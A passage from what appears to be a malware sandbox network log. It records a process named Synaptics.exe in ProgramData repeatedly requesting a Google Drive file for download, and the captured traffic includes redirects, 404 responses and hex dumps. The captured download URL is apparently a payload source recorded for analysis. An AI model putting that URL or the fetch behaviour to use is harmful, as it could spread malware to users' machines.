0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49820	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:34 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-sc1uBU5V0GFcUDfa3gI_aQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	49823	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:35 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-_DlahuvTkidQcYOc7xSscQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	49824	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:35 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:35 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC60WqUBZlITxNll8nNf3UgGDV05Vo-oGYVPHPT0dl15AZ0NAcarW9RY2A4Ngn01qh8M Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:35 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-cBeRWxMAjcv11AwcgC91wA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:35 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:35 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 61 64 68 57 51 61 66 35 57 62 5a 6d 7a 6e 47 79 58 46 56 6b 49 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="adhWQaf5WbZmznGyXFVkIw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:35 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	49825	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:35 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-oQFinip5MGoNzh4-tAhf1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	49826	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:35 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:36 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7O8rHBKCL1JXEjim3H4YXMNirMGtxtqf0aplSFx1oLMmr1JKNahyehlCAfyL7WrFFU90lM5pU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:35 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Ygd-RPzMWgzawqXrJWepYg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:36 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:36 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 6e 4c 36 53 30 53 62 74 78 48 62 55 32 7a 57 64 32 47 34 41 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="cnL6S0SbtxHbU2zWd2G4Aw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:36 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	49827	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:36 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-MJ7PW4Ms3sP2WQMbAwMTyw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	49832	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:37 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2Eyi7oIVYxfHLIbI9q8r8A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	49833	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:37 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:38 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Y5Fmsj3X4SLhUK-DQUgddrBp2760EYpTCxg5F7xCzb-qmY1yZJNHbwZHx3fOTS6S9 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:37 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-btzGEGCCUWAYhb5AxIu9Yw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:38 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:38 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 6a 38 56 4b 52 45 58 43 7a 4f 52 70 47 31 69 41 37 4f 70 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Uj8VKREXCzORpG1iA7OpmA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:38 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	49834	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:37 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-_XGl3xGF4wnP5LpfemYXzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri 